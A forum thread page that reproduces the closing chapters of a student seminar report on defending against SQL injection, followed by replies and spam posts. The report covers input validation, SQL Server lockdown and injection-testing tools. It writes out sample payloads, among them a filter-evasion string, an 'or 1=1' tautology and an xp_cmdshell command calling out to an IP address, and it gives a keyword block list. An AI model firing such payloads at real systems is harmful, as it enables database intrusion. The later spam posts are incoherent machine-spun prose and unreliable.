Solution (1) has a number of conceptual problems; first, the developer is not necessarily aware of what constitutes 'bad' data, because new forms of 'bad data' are being discovered all the time. Second, 'massaging' the data can alter its length, which can result in
problems as described above. Finally, there is the problem of second-order effects
involving the reuse of data already in the system.
Solution (2) suffers from some of the same issues as (1); 'known bad' input changes over time, as new attack techniques develop.
Solution (3) is probably the better of the three, but can be harder to implement.
Probably the best approach from a security point of view is to combine approaches (2)
and (3) - allow only good input, and then search that input for known 'bad' data.
A good example of the necessity to combine these two approaches is the problem of
hyphenated surnames such as:-
Quentin Bassington-Bassington
We must allow hyphens in our 'good' input, but we are also aware that the character
sequence '--' has significance to SQL server.
Another problem occurs when combining the 'massaging' of data with validation of
character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select'
and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker could
specify input like
uni'on sel'ect @@version-'-
Since the single-quote is removed after the 'known bad' filter is applied, the attacker can simply intersperse single quotes in his known-bad strings to evade detection.
Here is some example validation code.
Approach 1 - Escape singe quotes
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Approach 2 - Reject known bad input
function validate_string( input )
known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then
validate_string = false
exit function
end if
next
end function
Approach 3 - Allow only good input
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function.
7.2 SQL Server Lockdown
The most important point here is that it *is* necessary to 'lock down' SQL server; it is not secure 'out of the box'. Here is a brief list of things to do when creating a SQL Server build:
1. Determine methods of connection to the server
a. Verify that only the network libraries you're using are enabled, using the 'Network
utility'
2. Verify which accounts exist
a. Create 'low privileged' accounts for use by applications
b. Remove unnecessary accounts
c. Ensure that all accounts have strong passwords; run a password auditing script
(such as the one provided as an appendix to this paper) against the server on a
regular basis
3. Verify which objects exist
a. Many extended stored procedures can be removed safely. If this is done, consider
removing the '.dll' file containing the extended stored procedure code.
b. Remove all sample databases - the 'northwind' and 'pubs' databases, for example.
4. Verify which accounts can access which objects
a. The account that an application uses to access the database should have only the
minimum permissions necessary to access the objects that it needs to use.
5. Verify the patch level of the server
a. There are several buffer overflow and format string attacks against SQL Server
(mostly discovered by the author) as well as several other 'patched' security
issues. It is likely that more exist.
6. Verify what will be logged, and what will be done with the logs.
Replace direct SQL statements with stored procedures, prepared statements, or ADO
command Objects.
Implements Default Error Handling. This would include using a single error message for
all errors
Lock down ODBC. Disable Messaging to clients. Don't let regular SQL Statements through
Lock down User Database configuration Specify. users, roles and permissions etc.
7.3 Robust network architecture
This design will aid in the defense of any enterprise. The diagram
shows a defensible network design by utilizing a De-Militarized Zone (DMZ) to hold all Ëœpublic facingâ„¢ servers.
FIG NO-7¦ROBUST NETWORK ARCHITECTURE.
CHAPTER 8
ADVANTAGES AND DISADVANTAGES
ADVANTAGES
INPUT VALIDATION
“ Keeps track of the input to the web application.
“ It does not allow symbol to be used for the string to form a query in an web application.
SQL SERVER LOCK DOWN
“ It™s possible to create low privileged accounts.
“ Avoid access of account by other servers.
“ Removal of unnecessary accounts.
DISADVANTAGES
INPUT VALIDATION
“ It is very complicated to implement.
“ Difficult to solve complex problem caused due to input validation.
“ It™s not possible to distinguish between good and bad input.
SQL SERVER LOCKDOWN
“ Needs to verify which connection to the server.
“ Verification of each and every account is to be done.
“ Track of objects is needed to maintain which object accesses which account.
CHAPTER 9
AUTOMATED TOOLS FOR SQL INJECTION ATTACKS
SQL Injection is typically performed manually, BUT some tools are available that will help automate the process of identifying and exploiting the vulnerability.
Wpoison is a tool that will find any strings potentially SQL Injection vulnerabilities in dynamic web documents. SQL error strings are stored in a signature file, making it easier for anyone to add their own signature for a possible SQL Injection signature for a web application.
Wpoison runs on linux and is available at wpoison.sourceforeg.net
mieliekoek.pl is an SQL Injection insertion crawler that will test all forms on a website
for possible SQL Insertion problems. This script will take the output of a website mirroring tool as input inspecting every file and determining whether there is a form in the file. The string to be injected can easily be changed in the configuration file. To obtain a copy of the script please see 'packetstormsecurityUNIX/security/mieliekoek.pl' please make sure you have a perl environment installed.
Here is an example of the output of mieliekoek.pl :
$badstring='blah';
$badstring='blah' or 1=1 --';
$badstring='blah' exec master..xp_cmdshell 'nslookup a.com 192.168.1.6' - ;
SPI toolkit from SPI Dynamics contains a tool called SQL Injector that will automate SQL
Injection testing. The SPI Toolkit is available at spidynamics.com
CHAPTER 10
FUTURE SCOPE
The study of SQL Injection will lead in prevention of database hacking. It is helpful to develop new techniques which in future will not have any backdoors for the intruders to
attack any particular web application. These techniques will lead to development to the tools which will investigate scope of SQL Injection worm attacks. Oracle Servers would not be trapped if these SQL Injection tools and backdoors are blocked. In future we will able to reduce the vulnerabilities to the web application.
CHAPTER 11
CONCLUSION
This article is to make aware the people who are anyways related to database
maintenance say DBA, Site owner, Computer science students involving in project and implimentations
related to database and to general people who are launching their sites on internet.
Through this article one can know that what are the breaches that can be secured either
code or protection security like firewalls.
So, before launching your site or when checking your site try to check atleast the codes
what are illustrated in this article and if you find any bugs please correct it as soon as
possible and if its not your website then please inform the owner through mail or phone
that that site has bugs( be ethical) else attacking on other sites using this technique is
illegal. Do that at your own risk.
CHAPTER 12
REFERENCES
10.1. BOOKS
1.SQL Injection Defenses First Edition, by Martin Nystrom, release date March 2007.
2.Web Hacking: Attacks and defenses By Stuart McClure, Saumil Shah, Shreeraj Shah,2008.
10.2. WEB SITES

1. SQL Injection spidynamicspapers/SQLInjectionWhitePaper.pdf
2. Threats and Countermeasures, MSDN, Microsoft msdn.microsoft.com
3. Advanced SQL Injection nextgensspapers/advanced_sql_injection.pdf
4. Detection techniques securiteam/papers/detection-techniques
5. Defenses against SQL Injection blackhatpresentations/win-usa- 01/Litchfield/BHWin01Litchfield.doc
Use Search at http://topicideas.net/search.php wisely To Get Information About Project Topic and Seminar ideas with report/source code along pdf and ppt presenaion
Reply
shanmuga priya
Active In SP
**

Posts: 1
Joined: Jan 2011
#6
10-01-2011, 08:50 AM

would help me in finding more info about SQL injection?
Reply
seminar surveyer
Active In SP
**

Posts: 3,541
Joined: Sep 2010
#7
10-01-2011, 09:25 AM

the following threads contain more information on 'SQL injection'. please go through them.

topicideashow-to-combinatorial-approach-for-preventing-sql-injection-attacks--12773
topicideashow-to-prevention-of-sql-injection-and-data-thefts-using-divide-and-conquer-approach
topicideashow-to-combinatorial-approach-for-preventing-sql-injection-attacks
Reply
Guest
Thinking To Register

 
#8
03-10-2012, 04:35 PM

I am the owner of this seminar and presentation report. Nice to see it here Big Grin

Sanjeev Kumar Jaiswal
Founder of aliencoders.com
Reply
MichaelKa
Thinking To Register

 
#9
16-03-2014, 07:40 PM

.
Each individual gathering, principals pleads lower income, pronounces your hair try to make dunning push the white kind of. Home office only two years¡¯ time, that school's accelerated consumer debt bending. This is often to help you help tutors perplexing.
Painted wall ducks in the pool circle , the Senate plan providers on both sides of the Millennium .
yql2014

Winter season split, your woman arrived house, your woman informed this news from the adore associated with the woman's mom, therefore large, your woman known as the woman's mom with regard to the very first time, securely in opposition to both trades, mom stated the actual passing away wouldn't accept allow the woman's consider is actually you'll need a long term without any ability or even would like, absolutely no social existence trainer, the woman's mom's phrases, so the organization experienced absolutely no emotions, the actual add-on of the heavy break.
Future, glimpse, is usually a weird art work. This art work is usually a male 's foot or so, using Nike shoes and boots, Nike light socks, this running shoe seemed to be arrived in place each time.
Pre-empted the people already here started their dreams of the road.
yql2014
Reply
MichaelKa
Thinking To Register

 
#10
18-03-2014, 04:28 AM

Wu Sisi is mostly a pencil for you to term preferred someone, connections driving session this girl kommet in back of others, frequently by means of him / her pencil stab others on the lower back, thereafter demand a lot of things in some.
I think so too smiled Tangsao filed .
So that they can enable a cherished female, Li Qi Move class mates the girl's narrative for her many advantages plus donated 100 $ $ $ $ to use a head. As a final point, a training higher above 2000 yuan, a coach ship to Ms. Yao Chunjuan possession. Li Qi the girl's narrative this ended in their fund-raising, Ms. Yao Chunjuan pretty carressed plus head over heels to get her get in touch with. Ms. Yao Chunjuan initially got the iphone, Li Qi essentially energized this the girl's narrative would not express your statement foreign trade......
yql2014
Reply

Important Note..!

If you are not satisfied with above reply ,..Please

ASK HERE

So that we will collect data for you and will made reply to the request....OR try below "QUICK REPLY" box to add a reply to this page

Quick Reply
Message
Type your reply to this message here.


Image Verification
Please enter the text contained within the image into the text box below it. This process is used to prevent automated spam bots.
Image Verification
(case insensitive)

Possibly Related Threads...
Thread Author Replies Views Last Post
  REDTACTON A SEMINAR REPORT project girl 2 567 25-04-2016, 03:58 PM
Last Post: mkaasees
  seminar report on cyber terrorism pdf jaseelati 0 331 23-02-2015, 01:49 PM
Last Post: jaseelati
  seminar report on internet of things jaseelati 0 379 29-01-2015, 04:51 PM
Last Post: jaseelati
  nano ic engine seminar report jaseelati 0 322 21-01-2015, 01:43 PM
Last Post: jaseelati
  google glass seminar report pdf jaseelati 0 345 21-01-2015, 01:41 PM
Last Post: jaseelati
  rolltop laptop seminar report jaseelati 0 287 17-01-2015, 03:15 PM
Last Post: jaseelati
  bicmos technology seminar report jaseelati 0 335 09-01-2015, 02:58 PM
Last Post: jaseelati
  3d optical data storage technology seminar report jaseelati 0 426 06-01-2015, 04:47 PM
Last Post: jaseelati
  icloud seminar report jaseelati 0 256 05-01-2015, 03:28 PM
Last Post: jaseelati
  3d optical data storage technology seminar report jaseelati 0 338 30-12-2014, 03:23 PM
Last Post: jaseelati